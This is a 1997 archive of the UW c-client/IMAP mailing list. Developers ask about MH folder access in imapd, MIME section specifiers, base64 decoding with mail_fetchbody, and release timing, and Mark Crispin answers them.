(8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id NAA07548 for ; Tue, 7 Jan 1997 13:13:05 -0800 Received: from quarry.zk3.dec.com by mail13.digital.com (8.7.5/UNX 1.5/1.0/WV) id QAA13346; Tue, 7 Jan 1997 16:04:54 -0500 (EST) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA16168; Tue, 7 Jan 1997 16:04:51 -0500 Message-Id: <9701072104.AA16168@quarry.zk3.dec.com> X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS Reply-To: pderr@zk3.dec.com To: c-client@cac.washington.edu Cc: pderr@zk3.dec.com Subject: MH format folders Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 07 Jan 97 16:04:53 -0500 From: "Peter Derr" X-Mts: smtp Hi, I'm trying to figure out how to get imapd to use existing mh mail folders. I've searched the documentation, the source code, and the mailing list archive to no avail. There seems to be code to handle mh folders but I can't get it to work. Forgive me if I'm missing something obvious. I'm running imapd on Digital UNIX (formerly OSF/1) and I've been using PCPine 3.95 and Netscape Communicator 4.0 as test clients on a Win95 box. As long as I use the standard UNIX mail flat-file folder format (I believe this is your "bezerk" driver) everything works fine. Isn't there some directive in the ~/.imaprc file to specify mh folders? The closest thing I can find is "set empty-folder-format mh" I can get Pine to look in the right directory where my mh folders are but when I try to access them I get messages like "SELECT failed:"... "is not in valid mailbox format." If I could get imapd to use the mh folders, and read new mail from an mh-format inbox I'd be happy. The next thing I'd like to do is use the mh folders for refiling messages, but read new messages from the standard /usr/spool/mail/ mail spool file -- is that possible? BTW, I've made some small changes to allow imapd to work with C2 security on Digital UNIX, and also to use fcntl() instead of flock() so locking works on NFS-mounted file systems. I'd be glad to forward the diffs if you're interested. Thanks, Peter -- +----------------------------------------------------------+ |Peter Derr Unix Software Group | |Mailstop: ZKO3-2/W17 (dtn) 381-2977 | |Digital Equipment Corp. (603) 881-2977 | |110 Spitbrook Road fax: (603)881-2257 | |Nashua, NH 03062-2698 USA email: pderr@zk3.dec.com | +----------------------------------------------------------+ From pinedev@shivax2.cac.washington.edu Tue Jan 7 19:23:43 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 7 Jan 1997 19:23:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA25253 for ; Tue, 7 Jan 1997 19:23:42 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id TAA14703 for c-client-out; Tue, 7 Jan 1997 19:21:03 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA14699 for ; Tue, 7 Jan 1997 19:21:00 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id TAA08757; Tue, 7 Jan 1997 19:20:57 -0800 Date: Tue, 7 Jan 1997 19:17:15 -0800 (PST) From: Mark Crispin Subject: re: MH format folders To: pderr@ZK3.DEC.COM cc: c-client@cac.washington.edu In-Reply-To: <9701072104.AA16168@quarry.zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Have you tried prefixing the MH folder name with #mh/ ? In other words, #mh/foo is your "foo" MH folder. To get your MH INBOX with automatic moving of mail from /var/spool/mail, use #mhinbox Don't use .imaprc and especially do not use "set empty-folder-format mh" (it does *NOT* do what you think). Use the SOS port instead of OSF for C2 security. Rumors to the contrary notwithstanding, fcntl() locking does NOT work over NFS, and attempts to use it with imapd are an excellent way to cause a cluster wide hang. From pinedev@shivax2.cac.washington.edu Wed Jan 8 12:48:07 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Wed, 8 Jan 1997 12:48:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id MAA07685 for ; Wed, 8 Jan 1997 12:48:06 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id MAA03259 for c-client-out; Wed, 8 Jan 1997 12:45:40 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail13.digital.com (mail13.digital.com [192.208.46.30]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id MAA03255; Wed, 8 Jan 1997 12:45:32 -0800 Received: from quarry.zk3.dec.com by mail13.digital.com (8.7.5/UNX 1.5/1.0/WV) id PAA15043; Wed, 8 Jan 1997 15:36:02 -0500 (EST) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA26069; Wed, 8 Jan 1997 15:37:21 -0500 Message-Id: <9701082037.AA26069@quarry.zk3.dec.com> X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS Reply-To: pderr@ZK3.DEC.COM To: Mark Crispin Cc: c-client@cac.washington.edu, pderr@ZK3.DEC.COM Subject: Re: MH format folders In-Reply-To: Your message of "Tue, 07 Jan 97 19:17:15 PST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Jan 97 15:35:56 -0500 From: "Peter Derr" X-Mts: smtp > Have you tried prefixing the MH folder name with #mh/ ? > > In other words, #mh/foo is your "foo" MH folder. > > To get your MH INBOX with automatic moving of mail from /var/spool/mail, use > #mhinbox OK, after I sent my question I finally figured this out by reading the source code. This really ought to be documented somewhere. (If it is, I couldn't find it.) It seems strange to me that the mail client should have to know or care what format the mail messages are stored in on the server. Don't you think this ought to be configurable in the .imaprc? > Don't use .imaprc and especially do not use "set empty-folder-format mh" (it > does *NOT* do what you think). I don't understand. Why wouldn't you want to do that, especially if all your folders are in mh format? Thanks, Peter From pinedev@shivax2.cac.washington.edu Thu Jan 9 10:01:31 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 9 Jan 1997 10:01:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id KAA26021 for ; Thu, 9 Jan 1997 10:01:29 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id JAA28445 for c-client-out; Thu, 9 Jan 1997 09:56:22 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from hal9000.forbin.com ([204.71.100.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id JAA28439 for ; Thu, 9 Jan 1997 09:56:18 -0800 Received: from vecsplat.cr.mci.com (splatvec.cr.mci.com [166.37.124.77]) by hal9000.forbin.com (8.6.11/8.6.9) with ESMTP id MAA09051 for ; Thu, 9 Jan 1997 12:36:37 -0600 Message-ID: <32D530F2.775F@forbin.com> Date: Thu, 09 Jan 1997 11:54:58 -0600 From: Simon McClenahan Organization: is the key. X-Sender: Simon McClenahan (Unverified) X-Mailer: Mozilla 4.0b1 (Win95; I) MIME-Version: 1.0 To: c-client list Subject: Re: base64 decoding and BODY structure X-Priority: Normal References: Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Mark Crispin wrote: > > c-client section specifiers are the same as IMAP section specifiers. Refer to > RFC-2060 for a formal description, and to mtest.c for an example of how to run > down a BODY structure and get the section specifier. This is where I'm confused. RFC-2060 doesn't give me an example of a section specifier, and I don't understand the pfx variable in mtest.c:display_body() . Given that pfx is always empty, section specifiers are like "1.", "2.", etc.? Is "BODY.2.", "BODY.2" or "BODY2." valid? I managed to get the rfc822_base64() to work (although I would prefer to have it decode to a file than in memory) by giving it the return value of mail_fetchbody() with a section specifier of something like "2". In my TYPEMULTIPART mail message, I am trying to go through each part, switch() on its body.type and do mail_fetchbody() as appropriate. Some code will explain better: for (part=body->nested.part, sec=1 ; NULL != part ; part=part->next, sec++) { switch(part->body.type) { case TYPETEXT: /* sprintf(tmp, "BODY%d.", sec); */ sprintf(tmp, "%d", sec); text = mail_fetchbody(stream, 1, tmp, <ext); /* save it in a file */ sprintf(bodypath, "%s/%s", dir, BODY_NAME); bodyfile = fopen(bodypath, "w+"); fputs(text, bodyfile); fclose(bodyfile); bodyfound = T; break; case TYPEVIDEO: /* sprintf(tmp, "BODY%d.", sec); */ sprintf(tmp, "%d", sec); text = mail_fetchbody(stream, 1, tmp, <ext); /* decode it */ vdata = rfc822_base64(text, ltext, &lvdata); /* save it in file */ sprintf(vfilepath, "%s/%s", dir, VFILE_NAME); vfile = fopen(vfilepath, "w+"); fwrite(vdata, 1, lvdata, vfile); fclose(vfile); videofound = T; break; default: printf("section == %d, body type == %s\n", sec, body_types[part->bod y.type]); break; } } The text returned in the case TYPETEXT contains the text for that body and all the text from the next MIME part! (which just happens to be the BASE64 encoded TYPEVIDEO part). It's as if the end of the TYPETEXT part is not detected. The mail_fetchbody() works fine in the case: TYPEVIDEO . Here is the (edited) mail message I am testing with ... Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1507492794-2078917053-852821005=:27406" This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1507492794-2078917053-852821005=:27406 Content-Type: TEXT/PLAIN; charset=US-ASCII This is catlin.iba cheers, Simon ---1507492794-2078917053-852821005=:27406 Content-Type: video/octet-stream; name="catlin-50.iba" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: AADw8AEAAAAAAAACHwAAAAAAAAAJ4T5IMjYzRzcyMwAPAMgAABicAVUA7HwA sACQAFVudGl0bGVkIENsaXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... -- Simon McClenahan, an Australian in Iowa and an "I found my wife on the Internet" guy. PLEASURE / BUSINESS mailto:splat@forbin.com / SMcClenahan@MCImail.com Phone: +1 319 277 6058 / Phone: +1 319 375 1772 / USA Toll-free: 800 728 7000 Extension: 1772 http://www.freedomstarr.com/MC2776058.rep From pinedev@shivax2.cac.washington.edu Thu Jan 9 19:10:50 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 9 Jan 1997 19:10:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA05586 for ; Thu, 9 Jan 1997 19:10:49 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id TAA12273 for c-client-out; Thu, 9 Jan 1997 19:08:04 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA12269 for ; Thu, 9 Jan 1997 19:08:00 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id TAA00422; Thu, 9 Jan 1997 19:07:57 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA19896; Thu, 9 Jan 97 19:07:52 -0800 Date: Thu, 9 Jan 1997 18:55:58 -0800 (PST) From: Mark Crispin Subject: Re: base64 decoding and BODY structure To: Simon McClenahan Cc: c-client Interest List In-Reply-To: <32D530F2.775F@forbin.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 09 Jan 1997 11:54:58 -0600, Simon McClenahan wrote: > > c-client section specifiers are the same as IMAP section specifiers. > > Refer to RFC-2060 for a formal description, and to mtest.c for an example > > of how to run down a BODY structure and get the section specifier. > This is where I'm confused. RFC-2060 doesn't give me an example of a section > specifier, Section specifiers are called part specifiers in RFC 2060, and are defined starting on page 41. Ignore what is said on page 42 about non-numeric part specifiers such as HEADER; that is relevant to IMAP but not to the c-client section specifier argument. Page 43 has an example. > and I don't understand the pfx variable in mtest.c:display_body() . Given > that pfx is always empty, section specifiers are like "1.", "2.", etc.? No, pfx in mtest.c's display_body() is *not* "always empty". display_body() calls itself recurseively. pfx holds the "prefix" section specifier from the upper levels of display body() call. A section specifier begins and ends with a digit, never a period. A period may be embedded, indicating nesting. 3.5.4 means "the fourth part of the fifth part of the third part of the message." > The text returned in the case TYPETEXT contains the text for that body and > all the text from the next MIME part! I suspect that you made the mistake of assuming that the value returned from mail_fetchbody() is guaranteed to be null-terminated. It is not. You *must* pay attention to the returned length count. Anything beyond that length count is undefined. From pinedev@shivax2.cac.washington.edu Mon Jan 13 23:19:16 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 13 Jan 1997 23:19:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id XAA12082 for ; Mon, 13 Jan 1997 23:19:15 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id XAA12178 for c-client-out; Mon, 13 Jan 1997 23:15:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id XAA12174 for ; Mon, 13 Jan 1997 23:15:27 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id XAA12643; Mon, 13 Jan 1997 23:15:23 -0800 Date: Mon, 13 Jan 1997 22:57:55 -0800 (PST) From: Mark Crispin Subject: Re: MH format folders To: pderr@ZK3.DEC.COM cc: c-client@cac.washington.edu, pderr@ZK3.DEC.COM In-Reply-To: <9701082037.AA26069@quarry.zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 08 Jan 97 15:35:56 -0500, Peter Derr wrote: > OK, after I sent my question I finally figured this out by reading the > source code. This really ought to be documented somewhere. (If it is, I > couldn't find it.) The Pine Technical Notes documents MH usage. The IMAP toolkit documentation tends to lag behind the source code, unfortunately; the distribution is for developers primarily and less for end-users. > It seems strange to me that the mail client should have to know or care > what format the mail messages are stored in on the server. I agree. However, the #mh isn't for the format; rather, it's because MH introduces a different namespace than the filesystem. "foo" refers to a file called foo on the user's home directory; #mh/foo refers to an MH directory called foo, located under the Path defined in the ~/.mh_profile file. In other words, it's like news; #news.comp.mail.misc is different from comp.mail.misc, since the latter could be a file in the user's home directory. > Don't you > think this ought to be configurable in the .imaprc? Do not use .imaprc or /etc/imapd.conf -- these files are evil black magic and reliance upon it is almost certain to bite you sooner or later. This feature is for UW internal use only. > > Don't use .imaprc and especially do not use "set empty-folder-format mh" > > (it does *NOT* do what you think). > I don't understand. Why wouldn't you want to do that, especially if > all your folders are in mh format? "set empty-folder-format mh" causes empty files to be considered to be MH format. But an MH folder can not be a file, not even an empty file; nor can a file name be an MH name. So, the sole result of this command is to cause the software to fail to work. The only valid arguments to empty-folder-format are bezerk, mmdf, tenex, and mtx. Under certain highly limited "black box" circumstances (specifically, where tmail is the delivery agent) mbx is also valid. This is an example of what I mean by black magic; there are other pitfalls. From pinedev@shivax2.cac.washington.edu Mon Jan 20 07:11:42 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 20 Jan 1997 07:11:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id HAA10056 for ; Mon, 20 Jan 1997 07:11:41 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id HAA06952 for c-client-out; Mon, 20 Jan 1997 07:07:48 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from cdsms.cdc.com (ip129179-161-12.dblrev-129-179.cdc.com [129.179.161.12]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id HAA06948 for ; Mon, 20 Jan 1997 07:07:45 -0800 Received: from slip-101-6.arh.cdc.com by cdsms.cdc.com; Mon, 20 Jan 1997 09:06:47 -0600 From: "Warren L Brown" To: c-client@cac.washington.edu Subject: C-Client (callback routines and ERROR) X-Mailer: VistaMAIL/32 for Windows 95 and Windows NT - Version 7.0.0 Alpha build date - Dec 9 1996 Date: Mon, 20 Jan 97 10:07:17 -0500 Message-Id: <32e38a08670a004@cdsms.cdc.com> MIME-Version: 1.0 Content-Type: text/enriched Content-Transfer-Encoding: 7bit 1. Has there been any thought given to implementing something like mm_log that can be attached to a unique identifier, such as a stream. (Yes, I understand the stream is not always available now -- I only use it as an example of something to tag with.) 2. Would somebody please consider redefining ERROR to something more unique to Windows environment for the IMAP4.1 work. Yes, I know there are workarounds, but it is still a nuisance. Thank you for your consideration. ------------------------------------------------------------------ Warren.L.Brown@cdc.com -- Voice: 412-276-7716 -- Fax: 412-276-7754 Control Data Systems, Inc. 600 N. Bell Ave, Bldg 1, STE 112D Carnegie, PA 15106 USA ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 20 07:11:50 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 20 Jan 1997 07:11:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id HAA10061 for ; Mon, 20 Jan 1997 07:11:49 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id HAA09202 for c-client-out; Mon, 20 Jan 1997 07:07:46 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from cdsms.cdc.com (ip129179-161-12.dblrev-129-179.cdc.com [129.179.161.12]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id HAA09198 for ; Mon, 20 Jan 1997 07:07:43 -0800 Received: from slip-101-6.arh.cdc.com by cdsms.cdc.com; Mon, 20 Jan 1997 09:06:44 -0600 From: "Warren L Brown" To: c-client@cac.washington.edu Subject: imap 4.1 c-client release X-Mailer: VistaMAIL/32 for Windows 95 and Windows NT - Version 7.0.0 Alpha build date - Dec 9 1996 Date: Mon, 20 Jan 97 10:07:31 -0500 Message-Id: <32e38a05670a002@cdsms.cdc.com> MIME-Version: 1.0 Content-Type: text/enriched Content-Transfer-Encoding: 7bit I have just tapped into this mail list, and assume the following question has been asked before; but, since I don't know the answer, I still need to be enlightened. Thank you very much. Has anybody set an estimated release date for the C-Client 4.1 code? If so, when might that me. ------------------------------------------------------------------ Warren.L.Brown@cdc.com -- Voice: 412-276-7716 -- Fax: 412-276-7754 Control Data Systems, Inc. 600 N. Bell Ave, Bldg 1, STE 112D Carnegie, PA 15106 USA ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 20 12:13:42 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 20 Jan 1997 12:13:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id MAA12894 for ; Mon, 20 Jan 1997 12:13:40 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id MAA11320 for c-client-out; Mon, 20 Jan 1997 12:10:50 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id MAA11316 for ; Mon, 20 Jan 1997 12:10:47 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id MAA04807; Mon, 20 Jan 1997 12:10:45 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA02493; Mon, 20 Jan 97 12:10:39 -0800 Date: Mon, 20 Jan 1997 11:55:05 -0800 (PST) From: Mark Crispin Subject: re: imap 4.1 c-client release To: Warren L Brown Cc: c-client@cac.washington.edu In-Reply-To: <32e38a05670a002@cdsms.cdc.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 20 Jan 97 10:07:31 -0500, Warren L Brown wrote: > Has anybody set an estimated release date for the C-Client 4.1 > code? If so, when might that me. If, by "release", you mean "when will the final, forever-unchanging version be put on the FTP server", then the answer is that it will be released when Pine 4.00 is released. If, by "release", you mean "when will a version of imap-4.1 be available", then the answer is that it has been released for quite some time. ftp://ftp.cac.washington.edu/mail/imap.tar.Z It is called imap-4.1.BETA to emphasize the fact that there will still be updates forthcoming; it is not the final forever-unchanging version. In other words, bugs get fixed in the "beta". Bugs in the final forever-unchanging version get fixed in the next version. From pinedev@shivax2.cac.washington.edu Mon Feb 10 07:06:36 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 10 Feb 1997 07:06:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id HAA05924 for ; Mon, 10 Feb 1997 07:06:35 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id GAA08249 for c-client-out; Mon, 10 Feb 1997 06:59:50 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from busi1.business.auc.dk (busi1.business.auc.dk [130.225.62.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id GAA08244 for ; Mon, 10 Feb 1997 06:59:46 -0800 Received: from ntnjb (ntnjb.business.auc.dk [130.225.62.62]) by busi1.business.auc.dk (8.8.5/8.8.2) with SMTP id PAA00480 for ; Mon, 10 Feb 1997 15:58:00 +0100 (MET) Message-Id: <199702101458.PAA00480@busi1.business.auc.dk> Comments: Authenticated sender is From: "Niels Jakob Buch" Organization: Department of Business Studies To: c-client@cac.washington.edu Date: Mon, 10 Feb 1997 15:59:40 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Problem on size and content for base64 encoding Reply-to: njb@Business.AUC.DK Priority: normal X-mailer: Pegasus Mail for Win32 (v2.52) Below is some code. I want to read a MULTIPART/MIME mail-message sent from PINE, the parts are either text or application. The strange thing is, that it finds the parts, but the size of the parts are either wrong or zero after decoding (I assume that means decoding goes wrong!), and the content is sometimes nearly right, but never OK, that means it is sometimes even readable, but something is missing in the end, or in the beginning. (I'm running NT, if that matters!?) I hope one of you can help :) mail_fetchstructure (stream,1,&body); for (part=body->nested.part, sec=1 ; NULL != part ; part=part->next, sec++) { switch(part->body.type) { case TYPETEXT: sprintf(tmp, "%d", sec); text = mail_fetchbody(stream, 1, tmp, <ext); data = rfc822_base64(text, ltext, &ldata); printf("Textlen:%i\n",lvdata); printf("%s\n",vdata); break; case TYPEAPPLICATION: sprintf(tmp, "%d", sec); text = mail_fetchbody(stream, 1, tmp, <ext); data = rfc822_base64(text, ltext, &ldata); printf("Applicationdatalen:%i\n",ldata); break; default: printf("section == %d, body type == %s\n", sec, body_types[part->body.type]); break; } } From pinedev@shivax2.cac.washington.edu Mon Feb 10 19:20:33 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 10 Feb 1997 19:20:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA28994 for ; Mon, 10 Feb 1997 19:20:32 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id TAA26190 for c-client-out; Mon, 10 Feb 1997 19:16:51 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA26186 for ; Mon, 10 Feb 1997 19:16:49 -0800 Received: from Ikkoku-Kan.Panda.COM (death@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/) with SMTP id TAA17133; Mon, 10 Feb 1997 19:16:46 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA20914; Mon, 10 Feb 97 19:16:42 -0800 Date: Mon, 10 Feb 1997 19:13:19 -0800 (PST) From: Mark Crispin Subject: re: Problem on size and content for base64 encoding To: njb@Business.AUC.DK Cc: c-client@cac.washington.edu In-Reply-To: <199702101458.PAA00480@busi1.business.auc.dk> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 10 Feb 1997 15:59:40 +0000, Niels Jakob Buch wrote: > The strange > thing is, that it finds the parts, but the size of the parts are > either wrong or zero after decoding (I assume that means decoding > goes wrong!), and the content is sometimes nearly right, but never > OK, that means it is sometimes even readable, but something is > missing in the end, or in the beginning. In observing your code, I see nothing that checks the encoding prior to calling rfc822_base64(). It is unlikely that a body part of type TEXT would be BASE64 encoded. From pinedev@shivax2.cac.washington.edu Thu Feb 20 05:25:29 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 20 Feb 1997 05:25:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id FAA01241 for ; Thu, 20 Feb 1997 05:25:28 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id FAA23874 for c-client-out; Thu, 20 Feb 1997 05:20:37 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from busi1.business.auc.dk (busi1.business.auc.dk [130.225.62.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id FAA23869 for ; Thu, 20 Feb 1997 05:20:28 -0800 Received: from ntnjb (ntnjb.business.auc.dk [130.225.62.62]) by busi1.business.auc.dk (8.8.5/8.8.2) with SMTP id OAA17407 for ; Thu, 20 Feb 1997 14:18:39 +0100 (MET) Message-Id: <199702201318.OAA17407@busi1.business.auc.dk> Comments: Authenticated sender is From: "Niels Jakob Buch" Organization: Department of Business Studies To: c-client@cac.washington.edu Date: Thu, 20 Feb 1997 14:20:19 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: c-client on Windows 95? Reply-to: njb@Business.AUC.DK Priority: normal X-mailer: Pegasus Mail for Win32 (v2.52) Hi Any of you got any experience with c-client on Windows 95? I have a full blown application running on NT4.0, but I would like to know of any small obstacles for a transparent use on both platforms? Thanks :) /Jake From pinedev@shivax2.cac.washington.edu Mon Feb 24 07:45:15 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 24 Feb 1997 07:45:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id HAA07218 for ; Mon, 24 Feb 1997 07:45:14 -0800 (PST) Received: (from daemon@localhost) by 